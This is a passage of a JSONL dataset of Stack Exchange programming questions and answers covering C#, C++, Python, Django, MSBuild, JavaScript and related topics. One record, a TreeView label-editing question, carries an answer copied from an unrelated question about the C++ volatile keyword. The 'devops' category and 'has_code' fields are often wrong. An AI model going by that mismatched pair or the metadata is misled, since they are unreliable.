[REASON] [NB_TESTS=1]\n; Specify TODO mode by setting $TODO:\n\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; End of guiletap.scm\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.490269"}
{"id": "hf_42593abb6ee3", "question": "<p>I'm trying to modify my GreaseMonkey script from firing on window.onload to window.DOMContentLoaded, but this event never fires.</p>\n\n<p>I'm using FireFox 2.0.0.16 / GreaseMonkey 0.8.20080609</p>\n\n<p><a href=\"https://stackoverflow.com/questions/59205/enhancing-stackoverflow-user-experience\">This</a> is the full script that I'm trying to modify, changing:</p>\n\n<pre><code>window.addEventListener (\"load\", doStuff, false);\n</code></pre>\n\n<p>to</p>\n\n<pre><code>window.addEventListener (\"DOMContentLoaded\", doStuff, false);\n</code></pre>\n", "question_body": "", "answer": "So I googled\ngreasemonkey dom ready\nand the\nfirst result\nseemed to say that the greasemonkey script is actually running at \"DOM ready\" so you just need to remove the onload call and run the script straight away.\nI removed the\n```\nwindow.addEventListener (\"load\", function() {\n```\nand\n```\n}, false);\n```\nwrapping and it worked perfectly. It's\nmuch\nmore responsive this way, the page appears straight away with your script applied to it and all the unseen questions highlighted, no flicker at all. And there was much rejoicing.... yea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.526129"}
{"id": "hf_2fe79da40023", "question": "<p>Let me use the following example to explain my question:</p>\n<pre class=\"lang-csharp prettyprint-override\"><code>public string ExampleFunction(string Variable) {\n    return something;\n}\n\nstring WhatIsMyName = &quot;Hello World&quot;;\nstring Hello = ExampleFunction(WhatIsMyName);\n</code></pre>\n<p>When I pass the variable <code>WhatIsMyName</code> to the <code>ExampleFunction</code>, I want to be able to get a string of the <em>original</em> variable's name. Perhaps something like:</p>\n<pre class=\"lang-csharp prettyprint-override\"><code>Variable.OriginalName.ToString() // == &quot;WhatIsMyName&quot;\n</code></pre>\n<p>Is there any way to do this?</p>\n", "question_body": "", "answer": "No.\nI don't think so.\nThe variable name that you use is for your convenience and readability. The compiler doesn't need it & just chucks it out if I'm not mistaken.\nIf it helps, you could define a new class called\n```\nNamedParameter\n```\nwith attributes\n```\nName\n```\nand\n```\nParam\n```\n. You then pass this object around as parameters.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.644780"}
{"id": "hf_f31ed89937cc", "question": "<p>Using C++ (and Qt), I need to process a big amount of 3D coordinates.</p>\n\n<p>Specifically, when I receive a 3D coordinate (made of 3 doubles), I need to check in a list if this coordinate has already been processed.\nIf not, then I process it and add it to the list (or container).</p>\n\n<p>The amount of coordinates can become very big, so I need to store the processed coordinates in a container which will ensure that checking if a 3D coordinate is already contained in the container is fast.</p>\n\n<p>I was thinking of using a map of a map of a map, storing the x coordinate, then the y coordinate then the z coordinate, but this makes it quite tedious to use, so I'm actually hoping there is a much better way to do it that I cannot think of.</p>\n", "question_body": "", "answer": "Well, it depends on what's most important... if a tripple map is too tedious to use, then is implementing other data structures not worth the effort?\nIf you want to get around the uglyness of the tripple map solution, just wrap it up in another container class with an access function with three parameter, and hide all the messing around with maps internally in that.\nIf you're more worried about the runtime performance of this thing, storing the coordinates in an\nOctree\nmight be a good idea.\nAlso worth mentioning is that doing these sorts of things with floats or doubles you should be very careful about precision -- if (0, 0, 0.01) the same coordinate as (0, 0, 0.01000001)? If it is, you'll need to look at the comparison functions you use, regardless of the data structure. That also depends on the source of your coordinates I guess.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.692309"}
{"id": "hf_dd4042708f00", "question": "<p>How can I construct a MSBuild ItemGroup to exclude .svn directories and all files within (recursively). I've got:</p>\n\n<pre><code>&lt;ItemGroup&gt; \n     &lt;LibraryFiles Include=\"$(LibrariesReleaseDir)\\**\\*.*\" Exclude=\".svn\" /&gt;\n&lt;/ItemGroup&gt;\n</code></pre>\n\n<p>At the moment, but this does not exclude anything!</p>\n", "question_body": "", "answer": "Thanks for your help, managed to sort it as follows:\n```\n```\n<ItemGroup>\n     <LibraryFiles Include=\"$(LibrariesReleaseDir)\\**\\*.*\" \n                   Exclude=\"$(LibrariesReleaseDir)\\**\\.svn\\**\" />\n</ItemGroup>\n```\n```\nTurns out the pattern matching basically runs on files, so you have to exclude everything BELOW the\n```\n.svn\n```\ndirectories (\n```\n.svn\\\\**\n```\n) for MSBuild to exclude the\n```\n.svn\n```\ndirectory itself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.729355"}
{"id": "hf_577339230df3", "question": "<p>We have hundreds of websites which were developed in asp, .net and java and we are paying lot of money for an external agency to do a penetration testing for our sites to check for security loopholes. \nAre there any (good) software (paid or free) to do this? </p>\n\n<p>or.. are there any technical articles which can help me develop this tool?</p>\n", "question_body": "", "answer": "I've heard good things about SpiDynamics WebInspect as far as paid solutions go, as well as Nikto (for a free solution) and other open source tools. Nessus is an excellent tool for infrastructure in case you need to check that layer as well. You can pick up a live cd with several tools on it called Nubuntu (Auditor, Helix, or any other security based distribution works too) and then Google up some tutorials for the specific tool. Always, always make sure to scan from the local network though. You run the risk of having yourself blocked by the data center if you scan a box from the WAN without authorization. Lesson learned the hard way. ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.752963"}
{"id": "hf_acb91dffa980", "question": "<p>How do I find out which sound files the user has configured in the control panel?</p>\n\n<p>Example: I want to play the sound for \"Device connected\".</p>\n\n<p>Which API can be used to query the control panel sound settings?</p>\n\n<p>I see that there are some custom entries made by third party programs in the control panel dialog, so there has to be a way for these programs to communicate with the global sound settings.</p>\n\n<p>Edit: Thank you. I did not know that PlaySound also just played appropriate sound file when specifying the name of the registry entry.</p>\n\n<p>To play the \"Device Conntected\" sound:</p>\n\n<pre><code>::PlaySound( TEXT(\"DeviceConnect\"), NULL, SND_ALIAS|SND_ASYNC );\n</code></pre>\n", "question_body": "", "answer": "```\nPlaySound\n```\nis the API.\nAlso see\nPlay System Sounds\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.776078"}
{"id": "hf_bb9c8b72c972", "question": "<p>I have a query that is dynamically built after looking up a field list and table name.  I execute this dynamic query inside a stored proc.  The query is built without a where clause when the two proc parameters are zero, and built with a where clause when not.</p>\n\n<p>When I execute the proc with \n    SET FMTONLY ON\n    exec [cpExportRecordType_ListByExportAgentID] null, null\nIt returns no column information.  I have just now replaced building the query without a where clause to just executing the same query directly, and now I get column information.  I would love to know what causes this, anyone?</p>\n", "question_body": "", "answer": "Perhaps it is related to the fact that the passed parameters are NULL, \ncheck how your query is build perhaps it behaves in different way then expected when you pass NULL.\nDoes you proc returns expected results when you call:\n    SET FMTONLY OFF exec [cpExportRecordType_ListByExportAgentID] null, null\n?\nOther possibility: \nI understand that you build your query dynamically by getting results from calling another queries to get the column names.\nPerhaps the query that would normally give you the column names returns no data but only column information (SET FMTONLY ON) so you do not have data to build you dynamic query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.823349"}
{"id": "hf_631dd3797508", "question": "<p>I'm a Java-developer toying with Ruby, and loving it. I have understood that because of Ruby's metaprogramming facilities my unit-tests become much cleaner and I don't need nasty mocking frameworks. I have a class which needs the <code>File</code> class's services and in my test I don't want to touch my real filesystem. In Java I would use some virtual file system for easier \"seams\" to pass fake-objects in but in Ruby that's obviously overkill. What I come up seems already really nice compared to the Java-world. In my class under test I have an optional constructor parameter: </p>\n\n<pre><code>def initialize(file_class=File)\n</code></pre>\n\n<p>When I need to open files within my class, I can then do this:</p>\n\n<pre><code>@file_class.open(filename)\n</code></pre>\n\n<p>And the call goes to either the real File-class, or in case of my unit-test, it goes to a fake-class which doesn't touch the filesystem. I know there must be a better way to do this with metaprogramming?</p>\n", "question_body": "", "answer": "Mocha (\nhttp://mocha.rubyforge.org/\n) is a very good mocking library for ruby.  Depending on what you're actually wanting to test (i.e. if you want to just fake out the File.new call to avoid the file system dependency or if you want to verify that the correct arguments are passed into File.new) you could do something like this:\n```\n```\nrequire 'mocha'\n\nmock_file_obj = mock(\"My Mock File\") do\n  stubs(:some_instance_method).returns(\"foo\")\nend\n\nFile.stubs(:new).with(is_a(String)).returns(mock_file_obj)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.895516"}
{"id": "hf_d70032fab212", "question": "<p>I have a Windows C# program that uses a C++ dll for data i/o. My goal is to deploy the application as a single EXE.  </p>\n\n<p>What are the steps to create such an executable?</p>\n", "question_body": "", "answer": "Single Assembly Deployment of Managed and Unmanaged Code\nSunday, February 4, 2007\n.NET developers love XCOPY deployment. And they love single assembly components. At least I always feel kinda uneasy, if I have to use some component and need remember a list of files to also include with the main assembly of that component. So when I recently had to develop a managed code component and had to augment it with some unmanaged code from a C DLL (thx to Marcus Heege for helping me with this!), I thought about how to make it easier to deploy the two DLLs. If this were just two assemblies I could have used ILmerge to pack them up in just one file. But this doesn´t work for mixed code components with managed as well as unmanaged DLLs.\nSo here´s what I came up with for a solution:\nI include whatever DLLs I want to deploy with my component´s main assembly as embedded resources.\nThen I set up a class constructor to extract those DLLs like below. The class ctor is called just once within each AppDomain so it´s a neglible overhead, I think.\n```\n```\nnamespace MyLib\n{\n    public class MyClass\n    {\n        static MyClass()\n        {\n            ResourceExtractor.ExtractResourceToFile(\"MyLib.ManagedService.dll\", \"managedservice.dll\");\n            ResourceExtractor.ExtractResourceToFile(\"MyLib.UnmanagedService.dll\", \"unmanagedservice.dll\");\n        }\n\n        ...\n```\n```\nIn this example I included two DLLs as resources, one being an unmanaged code DLL, and one being a managed code DLL (just for demonstration purposes), to show, how this technique works for both kinds of code.\nThe code to extract the DLLs into files of their own is simple:\n```\n```\npublic static class ResourceExtractor\n{\n    public static void ExtractResourceToFile(string resourceName, string filename)\n    {\n        if (!System.IO.File.Exists(filename))\n            using (System.IO.Stream s = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceName))\n                using (System.IO.FileStream fs = new System.IO.FileStream(filename, System.IO.FileMode.Create))\n                {\n                    byte[] b = new byte[s.Length];\n                    s.Read(b, 0, b.Length);\n                    fs.Write(b, 0, b.Length);\n                }\n    }\n}\n```\n```\nWorking with a managed code assembly like this is the same as usual - almost. You reference it (here: ManagedService.dll) in your component´s main project (here: MyLib), but set the Copy Local property to false. Additionally you link in the assembly as an Existing Item and set the Build Action to Embedded Resource.\nFor the unmanaged code (here: UnmanagedService.dll) you just link in the DLL as an Existing Item and set the Build Action to Embedded Resource. To access its functions use the DllImport attribute as usual, e.g.\n```\n```\n[DllImport(\"unmanagedservice.dll\")] public extern static int Add(int a, int b);\n```\n```\nThat´s it! As soon as you create the first instance of the class with the static ctor the embedded DLLs get extracted into files of their own and are ready to use as if you deployed them as separate files. As long as you have write permissions for the execution directory this should work fine for you. At least for prototypical code I think this way of single assembly deployment is quite convenient.\nEnjoy!\nhttp://weblogs.asp.net/ralfw/archive/2007/02/04/single-assembly-deployment-of-managed-and-unmanaged-code.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.952139"}
{"id": "hf_40838efbcb0f", "question": "<p>Can anyone provide a good explanation of the volatile keyword in C#? Which problems does it solve and which it doesn't? In which cases will it save me the use of locking?</p>\n", "question_body": "", "answer": "The CLR likes to optimize instructions, so when you access a field in code it might not always access the current value of the field (it might be from the stack, etc). Marking a field as\n```\nvolatile\n```\nensures that the current value of the field is accessed by the instruction. This is useful when the value can be modified (in a non-locking scenario) by a concurrent thread in your program or some other code running in the operating system.\nYou obviously lose some optimization, but it does keep the code more simple.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:32.986817"}
{"id": "hf_41122a88fb13", "question": "<p>I'd like to add the <code>HttpOnly</code> flag to <code>JSF/richfaces</code> cookies, especially the session cookie, to up the level of security on my web app. Any ideas? </p>\n", "question_body": "", "answer": "Something like:\n```\n```\nresponse.setHeader(\"Set-Cookie\", \"yourcookiename=yourcookievalue; HTTPOnly\");\n```\n```\nmight work in a Java environment. I am not aware of a JSF-specific way to achieve this... sorry\nThis seems to be not an easy task in Java.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.042448"}
{"id": "hf_4bd0aaf523b7", "question": "<p>here is what a I'm doing:  </p>\n\n<pre><code>object ReturnMatch(System.Type type)  \n{  \n    foreach(object obj in myObjects)  \n    {\n        if (obj == type)  \n        {  \n            return obj;  \n        }  \n    }  \n}  \n</code></pre>\n\n<p>However, if obj is a subclass of <code>type</code>, it will not match. But I would like the function to return the same way as if I was using the operator <code>is</code>.</p>\n\n<p>I tried the following, but it won't compile:</p>\n\n<pre><code>if (obj is type) // won't compile in C# 2.0  \n</code></pre>\n\n<p>The best solution I came up with was:</p>\n\n<pre><code>if (obj.GetType().Equals(type) || obj.GetType().IsSubclassOf(type))  \n</code></pre>\n\n<p>Isn't there a way to use operator <code>is</code> to make the code cleaner?</p>\n", "question_body": "", "answer": "Perhaps\n```\n```\ntype.IsAssignableFrom(obj.GetType())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.093497"}
{"id": "hf_cfbc934e863c", "question": "<p>A tutorial I have on Regex in python explains how to use the re module in python, I wanted to grab the URL out of an A tag so knowing Regex I wrote the correct expression and tested it in my regex testing app of choice and ensured it worked. When placed into python it failed:</p>\n<pre><code>result = re.match(&quot;a_regex_of_pure_awesomeness&quot;, &quot;a string containing the awesomeness&quot;)\n# result is None`\n</code></pre>\n<p>After much head scratching I found out the issue, it automatically expects your pattern to be at the start of the string. I have found a fix but I would like to know how to change:</p>\n<pre><code>regex = &quot;.*(a_regex_of_pure_awesomeness)&quot;\n</code></pre>\n<p>into</p>\n<pre><code>regex = &quot;a_regex_of_pure_awesomeness&quot;\n</code></pre>\n<p>Okay, it's a standard URL regex but I wanted to avoid any potential confusion about what I wanted to get rid of and possibly pretend to be funny.</p>\n", "question_body": "", "answer": "Are you using the\n```\nre.match()\n```\nor\n```\nre.search()\n```\nmethod? My understanding is that\n```\nre.match()\n```\nassumes a \"\n```\n^\n```\n\" at the beginning of your expression and will only search at the beginning of the text, while\n```\nre.search()\n```\nacts more like the Perl regular expressions and will only match the beginning of the text if you include a \"\n```\n^\n```\n\" at the beginning of your expression. Hope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.160007"}
{"id": "hf_2e9b3f87dbca", "question": "<p>Is it possible in a large GWT project, load some portion of JavaScript lazy, on the fly?\n   Like overlays. </p>\n\n<p>PS: Iframes is not a solution.</p>\n", "question_body": "", "answer": "I think this is what you are looking for.\n```\n```\n<body onload=\"onloadHandler();\">\n<script type=\"text/javascript\">\nfunction onloadHandler() {\n    if (document.createElement && document.getElementsByTagName) {\n        var script = document.createElement('script');\n        script.type = 'text/javascript';\n        script.src = './test.js';\n        var heads = document.getElementsByTagName('head');\n        if (heads && heads[0]) {\n            heads[0].appendChild(script);\n        }\n    }\n}\nfunction iAmReady(theName) {\n   if ('undefined' != typeof window[theName]) {\n       window[theName]();\n   }\n}\nfunction test() {\n   // stuff to do when test.js loads\n}        \n</script>\n```\n```\n-- test.js\n```\n```\niAmReady('test');\n```\n```\nTested and working in Firefox 2, Safari 3.1.2 for Windows, IE 6 and Opera 9.52. I assume up-level versions of those should work as well.\nNote that the loading is asynchronous. If you attempt to use a function or variable in the loaded file immediately after calling\n```\nappendChild()\n```\nit will most likely fail, that is why I have included a call-back in the loaded script file that forces an initialization function to run when the script is done loading.\nYou could also just call an internal function at the bottom of the loaded script to do something once it has loaded.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.298581"}
{"id": "hf_b6c3bcc708bb", "question": "<p>What does the <code>volatile</code> keyword do? In C++ what problem does it solve?</p>\n\n<p>In my case, I have never knowingly needed it.</p>\n", "question_body": "", "answer": "```\nvolatile\n```\nis needed when developing embedded systems or device drivers, where you need to read or write a memory-mapped hardware device. The contents of a particular device register could change at any time, so you need the\n```\nvolatile\n```\nkeyword to ensure that such accesses aren't optimised away by the compiler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.396536"}
{"id": "hf_fa046c510b7b", "question": "<p>I am playing with Microsoft's TreeView control and I am trying to force a data update of some sorts while editing a node's label, similar to UpdateData for a grid.</p>\n\n<p>Basically, in my editor, I have a Save button and this TreeView control: what I want is when I am editing a node's label in the TreeView, if I click on the Save button I want to be able to commit the node's label I was editing.</p>\n", "question_body": "", "answer": "```\nvolatile\n```\nis needed when developing embedded systems or device drivers, where you need to read or write a memory-mapped hardware device. The contents of a particular device register could change at any time, so you need the\n```\nvolatile\n```\nkeyword to ensure that such accesses aren't optimised away by the compiler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.417224"}
{"id": "hf_558442433159", "question": "<p>What's the best and/or fastest method of doing multijoin queries in Django using the ORM and QuerySet API? </p>\n", "question_body": "", "answer": "If you are trying to join across tables linked by ForeignKeys or ManyToManyField relationships then you can use the double underscore syntax. For example if you have the following models:\n```\n```\nclass Foo(models.Model):\n    name = models.CharField(max_length=255)\n\nclass FizzBuzz(models.Model):\n    bleh = models.CharField(max_length=255)\n\nclass Bar(models.Model):\n    foo = models.ForeignKey(Foo)\n    fizzbuzz = models.ForeignKey(FizzBuzz)\n```\n```\nYou can do something like:\n```\n```\nFizzbuzz.objects.filter(bar__foo__name = \"Adrian\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.461310"}
{"id": "hf_4dddf6d58621", "question": "<p>Can you use CMFCVisualManager with a dialog based application to change the applications appearance? If so how is it done?</p>\n\n<p>The idea is to change the shape, colour etc. of controls such as push buttons using the MFC Feature Pack released with MSVC 2008.</p>\n", "question_body": "", "answer": "No, can't be done, at least not if you're talking about the Feature Pack version. Version 10 of the BCGSoft libraries do have this functionality, see for example:\nhttp://www.bcgsoft.com/bcgcontrolbarpro-versions.htm\nand\nhttp://www.bcgsoft.com/images/SkinnedBuiltInDlgs.jpg\n. The MFC feature pack is more or less the previous version of the BCGSoft libraries, MS bought a license from them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.493677"}
{"id": "hf_f9937090f0be", "question": "<p>I have a non-.Net executable file that is included in my .net assembly as an embedded resource.  Is there a way to run this executable that does not involve writing it out to disk and launching it?</p>\n\n<p>This is .Net 2.0.</p>\n", "question_body": "", "answer": "You can load a .NET assembly from a byte array using an overload of\nAssembly.Load\n.\nHowever, there are implications for the security model that need to be considered which make things more complex.  See the discussion\nhere\n, and also this\nthread\n.\nIf your embedded executable is not .NET then I think you will have to write it out to disk  first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.562068"}
{"id": "hf_74577b0c288b", "question": "<p>I've got a C++ program that uses SQLite. I want to store the SQL queries in a separate file -- a plain-text file, <em>not</em> a source code file -- but embed that file in the executable file like a resource.</p>\n\n<p>(This has to run on Linux, so I can't store it as an actual resource as far as I know, though that would be perfect if it were for Windows.)</p>\n\n<p>Is there any simple way to do it, or will it effectively require me to write my own resource system for Linux? (Easily possible, but it would take a lot longer.)</p>\n", "question_body": "", "answer": "Use macros. Technically that file would be\nsource code\nfile but it wouldn't look like this.\nExample:\n```\n```\n//queries.incl - SQL queries\nQ(SELECT * FROM Users)\nQ(INSERT [a] INTO Accounts)\n\n//source.cpp\n#define Q(query) #query,\nchar * queries[] = {\n#include \"queries.incl\"\n};\n#undef Q\n```\n```\nLater on you could do all sorts of other processing on that file by the same file, say you'd want to have array and a hash map of them, you could redefine Q to do another job and be done with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.596132"}
{"id": "hf_dd7a4fcbe997", "question": "<p>Has anyone written an 'UnFormat' routine for Delphi?</p>\n\n<p>What I'm imagining is the <em>inverse</em> of <em>SysUtils.Format</em> and looks something like this  </p>\n\n<p>UnFormat('a number %n and another %n',[float1, float2]);  </p>\n\n<p>So you could unpack a string into a series of variables using format strings.</p>\n\n<p>I've looked at the 'Format' routine in SysUtils, but I've never used assembly so it is meaningless to me.</p>\n", "question_body": "", "answer": "This is called scanf in C, I've made a Delphi look-a-like for this :\n```\n```\nfunction ScanFormat(const Input, Format: string; Args: array of Pointer): Integer;\nvar\n  InputOffset: Integer;\n  FormatOffset: Integer;\n  InputChar: Char;\n  FormatChar: Char;\n\n  function _GetInputChar: Char;\n  begin\n    if InputOffset <= Length(Input) then\n    begin\n      Result := Input[InputOffset];\n      Inc(InputOffset);\n    end\n    else\n      Result := #0;\n  end;\n\n  function _PeekFormatChar: Char;\n  begin\n    if FormatOffset <= Length(Format) then\n      Result := Format[FormatOffset]\n    else\n      Result := #0;\n  end;\n\n  function _GetFormatChar: Char;\n  begin\n    Result := _PeekFormatChar;\n    if Result <> #0 then\n      Inc(FormatOffset);\n  end;\n\n  function _ScanInputString(const Arg: Pointer = nil): string;\n  var\n    EndChar: Char;\n  begin\n    Result := '';\n    EndChar := _PeekFormatChar;\n    InputChar := _GetInputChar;\n    while (InputChar > ' ')\n      and (InputChar <> EndChar) do\n    begin\n      Result := Result + InputChar;\n      InputChar := _GetInputChar;\n    end;\n\n    if InputChar <> #0 then\n      Dec(InputOffset);\n\n    if Assigned(Arg) then\n      PString(Arg)^ := Result;\n  end;\n\n  function _ScanInputInteger(const Arg: Pointer): Boolean;\n  var\n    Value: string;\n  begin\n    Value := _ScanInputString;\n    Result := TryStrToInt(Value, {out} PInteger(Arg)^);\n  end;\n\n  procedure _Raise;\n  begin\n    raise EConvertError.CreateFmt('Unknown ScanFormat character : \"%s\"!', [FormatChar]);\n  end;\n\nbegin\n  Result := 0;\n  InputOffset := 1;\n  FormatOffset := 1;\n  FormatChar := _GetFormatChar;\n  while FormatChar <> #0 do\n  begin\n    if FormatChar <> '%' then\n    begin\n      InputChar := _GetInputChar;\n      if (InputChar = #0)\n      or (FormatChar <> InputChar) then\n        Exit;\n    end\n    else\n    begin\n      FormatChar := _GetFormatChar;\n      case FormatChar of\n        '%':\n          if _GetInputChar <> '%' then\n            Exit;\n        's':\n          begin\n            _ScanInputString(Args[Result]);\n            Inc(Result);\n          end;\n        'd', 'u':\n          begin\n            if not _ScanInputInteger(Args[Result]) then\n              Exit;\n\n            Inc(Result);\n          end;\n      else\n        _Raise;\n      end;\n    end;\n\n    FormatChar := _GetFormatChar;\n  end;\nend;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.682949"}
{"id": "hf_034a3519f56b", "question": "<p>I have a svn repository, R, that depends on a library, l, in another repository.</p>\n\n<p>The goal is that when someone checks out R, they also check out l. We want l to still be in its own repository so that l can be updated without dependence on R.</p>\n\n<p>I don't know much about external svn links, but I believe that when depending on a svn-based library one can link to it externally, 'ext'.</p>\n\n<p>If l is in a git repository, can I do something similar? I'd like to preserve the goal stated above.</p>\n", "question_body": "", "answer": "I suggest using a script wrapper for svn co.\n```\n```\n#!/bin/sh\nsvn co path://server/R svn-R\ngit clone path://server/l git-l\n```\n```\nOr similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.759678"}
{"id": "hf_2fa72b4e396d", "question": "<p>Is there an easy way to capitalize the first letter of a string and lower the rest of it?  Is there a built in method or do I need to make my own?</p>\n", "question_body": "", "answer": "```\nTextInfo.ToTitleCase()\n```\ncapitalizes the first character in each token of a string.\nIf there is no need to maintain Acronym Uppercasing, then you should include\n```\nToLower()\n```\n.\n```\n```\nstring s = \"JOHN DOE\";\ns = CultureInfo.CurrentCulture.TextInfo.ToTitleCase(s.ToLower());\n// Produces \"John Doe\"\n```\n```\nIf CurrentCulture is unavailable, use:\n```\n```\nstring s = \"JOHN DOE\";\ns = new System.Globalization.CultureInfo(\"en-US\", false).TextInfo.ToTitleCase(s.ToLower());\n```\n```\nSee the\nMSDN Link\nfor a detailed description.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:33.882510"}
{"id": "hf_07c97649418f", "question": "<p>Imagine this directory structure:</p>\n\n<pre><code>app/\n   __init__.py\n   sub1/\n      __init__.py\n      mod1.py\n   sub2/\n      __init__.py\n      mod2.py\n</code></pre>\n\n<p>I'm coding <code>mod1</code>, and I need to import something from <code>mod2</code>. How should I do it?  </p>\n\n<p>I tried <code>from ..sub2 import mod2</code> but I'm getting an \"Attempted relative import in non-package\".</p>\n\n<p>I googled around but found only \"<code>sys.path</code> manipulation\" hacks. Isn't there a clean way?  </p>\n\n<hr>\n\n<p>Edit: all my <code>__init__.py</code>'s are currently empty  </p>\n\n<p>Edit2: I'm trying to do this because sub2 contains classes that are shared across sub packages (<code>sub1</code>, <code>subX</code>, etc.).</p>\n\n<p>Edit3: The behaviour I'm looking for is the same as described in <a href=\"http://www.python.org/dev/peps/pep-0366/\" rel=\"noreferrer\">PEP 366</a> (thanks John B)</p>\n", "question_body": "", "answer": "Everyone seems to want to tell you what you should be doing rather than just answering the question.\nThe problem is that you're running the module as '__main__' by passing the mod1.py as an argument to the interpreter.\nFrom\nPEP 328\n:\nRelative imports use a module's __name__ attribute to determine that module's position in the package hierarchy. If the module's name does not contain any package information (e.g. it is set to '__main__') then relative imports are resolved as if the module were a top level module, regardless of where the module is actually located on the file system.\nIn Python 2.6, they're adding the ability to reference modules relative to the main module.\nPEP 366\ndescribes the change.\nUpdate\n: According to Nick Coghlan, the recommended alternative is to run the module inside the package using the -m 